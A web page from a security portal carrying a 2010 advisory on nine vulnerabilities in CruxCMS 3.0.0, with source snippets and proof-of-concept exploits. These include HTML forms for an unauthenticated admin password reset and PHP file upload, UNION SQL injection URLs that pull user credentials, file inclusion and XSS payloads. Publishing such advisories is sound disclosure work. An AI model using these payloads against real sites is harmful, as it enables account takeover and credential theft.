Waraxe IT Security Portal
Login or Register
November 22, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 64
Members: 0
Total: 64
Full disclosure
APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1
Local Privilege Escalations in needrestart
APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2
APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1
APPLE-SA-11-19-2024-2 visionOS 2.1.1
APPLE-SA-11-19-2024-1 Safari 18.1.1
Reflected XSS - fronsetiav1.1
XXE OOB - fronsetiav1.1
St. Poelten UAS | Path Traversal in Korenix JetPort 5601
St. Poelten UAS | Multiple Stored Cross-Site Scripting in SEH utnserver Pro
Apple web content filter bypass allows unrestricted access to blocked content (macOS/iOS/iPadOS/visionO S/watchOS)
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
[waraxe-2010-SA#078] - Multiple Vulnerabilities in CruxCMS 3.0.0





Author: Janek Vind "waraxe"
Date: 27. December 2010
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-78.html


Affected Software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CruxCMS is a lightweight, easy to use website content management system (CMS).
It is written in PHP and uses the powerful MySQL database.

http://www.cruxsoftware.co.uk/cruxcms.php


Affected versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Tests were conducted against CruxCMS version 3.0.0

###############################################################################
1. Unauthorized password reset in "manager/passwordreset.php"
###############################################################################

Reason: directly accessible php script
Attack vectors: user submitted POST parameters "ID" and "Password"
Preconditions: none
Impact: attacker can take over CruxCMS admin account

Php script "manager/passwordreset.php" is directly accessible via web
without any authorization. Source code snippet:

-----------------[ source code start ]---------------------------------
include ("../includes/injectionprevention.php");

$ID = numericquery($_POST["ID"]) ;

if (isset($ID)) {

$Password = preventinjection($_POST["Password"]);
$Password2 = md5($Password);

//Connect to database
include ("../includes/dbinfo.php");

// Insert data
$sqlquery = "UPDATE " . usersdb . " SET "
."Password ='" .$Password2 ."' WHERE ID ='" .$ID ."'";

$results = mysql_query($sqlquery);
-----------------[ source code end ]-----------------------------------

Example exploit:
-------------------------------------------------------------------------------
<html>
<head><title>CruxCMS 3.0.0 Unauthorized Password Reset PoC by waraxe</title></head>
<body><center>
<form action="http://localhost/cruxcms.3.0.0/manager/passwordreset.php" method="post">
<input type="hidden" name="ID" value="1">
<input type="hidden" name="Password" value="waraxe">
<input type="submit" value="Test!">
</form>
</center></body></html>
-------------------------------------------------------------------------------


###############################################################################
2. Arbitrary file upload in "manager/processeditor.php"
###############################################################################

Reason: directly accessible php script
Attack vector: specially crafted POST request
Preconditions: none
Impact: attacker is able to write remote php files to any location.

Php script "manager/processeditor.php" is directly accessible via web
without any authorization. Source code snippet:

-----------------[ source code start ]---------------------------------
$Name = preventinjection($_POST["name"]) ;
if (isset($_POST['Type'])) {
$Type = $_POST['Type'];
}

...

$head = $_POST["head"] ;
$headlink = $Name . ".php";

if ($Type == "Add") {

...

$fileopen = fopen($headlink, 'w') or die("can't open file");
fwrite($fileopen, $head);
fclose($fileopen);
-----------------[ source code end ]-----------------------------------

Example exploit:
-------------------------------------------------------------------------------
<html>
<head><title>CruxCMS 3.0.0 processeditor.php File Upload PoC by waraxe</title></head>
<body><center>
<form action="http://localhost/cruxcms.3.0.0/manager/processeditor.php" method="post">
<input type="hidden" name="Type" value="Add">
<input type="hidden" name="name" value="../images/info">
<input type="hidden" name="head" value="<?phpinfo();?>">
<input type="submit" value="Test!">
</form>
</center></body></html>
-------------------------------------------------------------------------------
For testing first make sure, that "images" directory is writable by php.
Open html file above and click "Test!" button. After successful POST request
newly written remote file can be accessed like this:

http://localhost/cruxcms.3.0.0/images/info.php


###############################################################################
3. Arbitrary file upload in "manager/processfile.php"
###############################################################################

Reason: directly accessible php script
Attack vector: specially crafted POST request
Preconditions: none

Example exploit:
-------------------------------------------------------------------------------
<html>
<head><title>CruxCMS 3.0.0 processfile.php File Upload PoC by waraxe</title></head>
<body><center>
<form action="http://localhost/cruxcms.3.0.0/manager/processfile.php"
enctype="multipart/form-data" method="post"method="post">
<input type="hidden" name="Action" value="Add">
<input type="file" name="uploadedfile" size="40">
<input type="submit" value="Test!">
</form>
</center></body></html>
-------------------------------------------------------------------------------
For testing first make sure, that "Uploads/Misc/" directory is writable by php.
Open html file above and click "Test!" button. After successful POST request
newly written remote file can be accessed like this:

http://localhost/cruxcms.3.0.0/Uploads/Misc/info-38656.php

As seen above, random string ("38656" in this specific example) is concatenated
to the filename. For successful exploitation therefore two options exists:

a) if webserver directory listing is enabled, then filename can be easily found
b) bruteforce is possible -> ~100 000 tries needed max for filename guessing


###############################################################################
4. SQL Injection in "includes/classes/searchbox.inc.php"
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data
Attack vector: user submitted GET parameter "max"
Preconditions:
1. Search Box must be activated (active by default)
2. Search must return at least one result
Impact: attacker can fetch sensitive information from database,
including user credentials.

Source code snippet from "includes/classes/searchbox.inc.php":
-----------------[ source code start ]---------------------------------
// Define the number of results per page
$max = $_GET['max'];
if (isset($max)) {
$max_results = $max;
}
else {
$max_results = 10;
}
...
$query_fields = "p.Title p.Content";
$query = "SELECT p.Name as PName, p.Title as PTitle, p.Content as PContent, p.Archive FROM " . pagesdb . " p WHERE ";
$query = $query . boolstring2sql_query($query_fields, $query_text);
$query = $query . " AND p.Archive = 'No'";
$query = $query . " LIMIT $from, $max_results";
$query = $query . ";";
...
$sql_result = mysql_query($query , $conn) or die ("Couldn't execute query.");
-----------------[ source code end ]-----------------------------------
As seen above there is SQL Injection in "LIMIT x,y" part of the SQL query.

Example exploit:

http://localhost/cruxcms.3.0.0/search.php?search=_&max=1+UNION+ALL+SELECT+1,
CONCAT_WS(0x3a,Id,Name,Password,Email,Admin),1,1+FROM+cruxcms_users

As result we can see sensitive user data from database.


###############################################################################
5. SQL Injection in "includes/classes/links.inc.php"
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data
Attack vector: user submitted GET parameter "max"
Preconditions:
1. Link Pages must be activated (inactive by default)
2. At least one link must exist
Impact: attacker can fetch sensitive information from database,
including user credentials.

Source code snippet from "includes/classes/links.inc.php":
-----------------[ source code start ]---------------------------------
// Define the number of results per page
$max = $_GET['max'];
if (isset($max)) {
$max_results = $max;
}
else {
$max_results = 10;
}
...
$sql = "SELECT * FROM " . linksdb . " LIMIT $from, $max_results ";
$sql_result = mysql_query($sql , $conn) or die ("Couldn't execute query.");
-----------------[ source code end ]-----------------------------------
As seen above there is SQL Injection in "LIMIT x,y" part of the SQL query.

Example exploit:

http://localhost/cruxcms.3.0.0/links.php?max=1+UNION+ALL+SELECT+1,1,
CONCAT_WS(0x3a,Id,Name,Password,Email,Admin),1,0x596573+FROM+cruxcms_users

As result we can see sensitive user data from database.


###############################################################################
6. SQL Injection in "includes/classes/news.inc.php"
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data
Attack vector: user submitted GET parameter "max"
Preconditions:
1. News Pages must be activated (inactive by default)
2. At least one news must exist
3. MySQL FILE Privileges needed (rare in real-world attack scenarios)
4. Php setting magic_quotes_gpc=off needed (usually it's "On")
5. attacker must have News editing privileges
6. full path must be know to the directory, which is writable by MySQL UID/user
Impact: limited SQL Injection - if all conditions above are met, then it may be
possible writing files to the remote system, where MySQL daemon/service is installed

Source code snippet from "includes/classes/news.inc.php":
-----------------[ source code start ]---------------------------------
// Define the number of results per page
$max = $_GET['max'];
if (isset($max)) {
$max_results = $max;
}
else {
$max_results = 10;
}
...
$sql = "SELECT * FROM " . newsdb . " ORDER BY Date DESC LIMIT $from, $max_results ";
$sql_result = mysql_query($sql , $conn) or die ("Couldn't execute query.");
-----------------[ source code end ]-----------------------------------
As seen above there is SQL Injection in "LIMIT x,y" part of the SQL query.
This vulnerability differs from previous cases, because there is "ORDER BY"
before "LIMIT" in vulnerable SQL query. It renders common "UNION" attack method
useless and only exploitation possibility seems to be "INTO OUTFILE". Many
conditions are needed for such exploitation (see above), so specifix SQL
Injection case can be considered as minor one.


###############################################################################
7. Local File Inclusion in "includes/template.php"
###############################################################################

Reason: directly accessible php script
Attack vector: user submitted GET parameter "style"
Preconditions:
1. Php setting "register_globals=on" needed

Example exploit:

http://localhost/cruxcms.3.0.0/includes/template.php?style=../white.gif


###############################################################################
8. Reflected XSS in "manager/login.php"
###############################################################################

Reason: directly accessible php script
Attack vector: user submitted GET parameter "message"
Preconditions: none

Example exploit:

http://localhost/cruxcms.3.0.0/manager/login.php?message=<script>alert(123);</script>


###############################################################################
9. Full Path Disclosure in multiple php scripts
###############################################################################

Examples:

http://localhost/cruxcms.3.0.0/manager/switcher.php?style[]

Warning: setcookie() expects parameter 2 to be string, array given in
C:apache_wwwrootcruxcms.3.0.0managerswitcher.php on line 24


http://localhost/cruxcms.3.0.0/search.php?search[]

Warning: htmlspecialchars() expects parameter 1 to be string, array given in
C:apache_wwwrootcruxcms.3.0.0includesclassessearchbox.inc.php on line 40


http://localhost/cruxcms.3.0.0/manager/filetypes.php

Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in
C:apache_wwwrootcruxcms.3.0.0managerfiletypes.php on line 24

http://localhost/cruxcms.3.0.0/styles/andreas01.php

Warning: include(includes/functions.php) [function.include]: failed to open stream:
No such file or directory in C:apache_wwwrootcruxcms.3.0.0stylesandreas01.php on line 36



Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, y3dips, Sm0ke, Heintz, slimjim100, pexli, zerobytes, vince213333,
to all active waraxe.us forum members and to anyone else who know me!


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://userguidenow.com/
---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2010-12-27 (11642 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 737
pexli  pexli - 665
Mullog  Mullog - 540
demon  demon - 485
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 375
tsabitah  tsabitah - 328
y3dips  y3dips - 281
Cybercrime news
Russian Women Stepping Up For Cybercrime Outfits
Five Scattered Spider Suspects Indicted For Phishing And Heists
Crooks Snag $250k Wire Payment From AI Biz
Ransomware Attack On Oklahoma Medical Center Impacts 133,000
New GoIssue Tool Targets GitHub Devs And Corporate Supply Chains
Dark Web Crypto Laundering Kingpin Sentenced To 12.5 Years In Prison
FBI Warns US Organizations Of Fake Emergency Data Requests
Hackers Are Stealing Tickets From Ticketmaster Accounts
Scattered Spider, BlackCat Claw Their Way Back From The Undergound
Cybercrooks Are Targeting Bengal Cat Lovers In Australia
Operation Synergia II Sees Interpol Swoop On Global Cyber Crims
Rhysida Ransomware Attack On Columbus Claimed 500k Victims
Malware Operators Use Copyright Infringement To Lure In Businesses
North Korean Nation State Threat Actor Using Play Ransomware
Dutch Cops Pwn The Redline And Meta Infostealers, Leak VIP Aliases
Senator Accuses Sloppy Domain Registrars Of Aiding Russian Disinfo Campaigns
100 Million Impacted By Change Healthcare Attack
Detective Charged With Purchasing Stolen Credentials
Nidec Confirms Data Stolen In Ransomware Attack
Cisco Confirms Security Incident After Hacker Offers To Sell Data
Cicada3301 Ransomware Affiliate Program Infiltrated By Security Researchers
Alleged Bitcoin Hacker Searched 'Signs The FBI Is After You'
Anonymous Sudan DDoS Service Disrupted, Members Charged By US
Cisco Investigating Breach And Sale Of Data
Firm Hacked After Accidentally Hiring North Korean Cyber Criminal
Hacker news
Five Scattered Spider Suspects Indicted For Phishing And Heists
North Korean Hackers Behind 2019 $42 Million Ethereum Heist
Equinox Notifies 21,000 Patients And Staff Of Data Theft
Palo Alto Sounds Alarm Over PAN-OS Zero Day Attacks
Thousands Of IoT Devices Turned Into Residential Proxies
Discontinued GeoVision Products Targeted In Botnet Attacks
Ransomware Attack On Oklahoma Medical Center Impacts 133,000
300 Drinking Systems In US Exposed To Disruptive, Damaging Hacker Attacks
Webscout Is Worth Checking Out
Palo Alto Networks Confirms New Firewall Zero-Day Exploitation
Known Brand, Gov Domains Hijacked Via Sitting Ducks Attacks
Man Gets 5 Years For Laundering Crypto From Bitfinex Hack
Two Men Charged For Hacking US Tax Preparation Firms
Iranian Threat Group Targets Aerospace Workers With Fake Job Lures
Citrix, Cisco, Fortinet Zero-Days Among 2023's Most Exploited Vulnerabilities
Ahold Delhaize Cybersecurity Incident Impacts Giant Food, Hannaford
Remcos RAT Now Exploiting Microsoft Excel Files
Amazon Confirms Employee Data Exposed In Leak Linked TO MOVEit Vulnerability
Dark Web Crypto Laundering Kingpin Sentenced To 12.5 Years In Prison
Cyberattack Cost Oil Giant Halliburton $35 Million
Hackers Are Stealing Tickets From Ticketmaster Accounts
Palo Alto Networks Expedition Vulnerability Exploited In Attacks
Legal Protections For Securty Researchers Sought In New German Draft Law
Scattered Spider, BlackCat Claw Their Way Back From The Undergound
North Korean Hackers Target macOS Users
Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.043 Seconds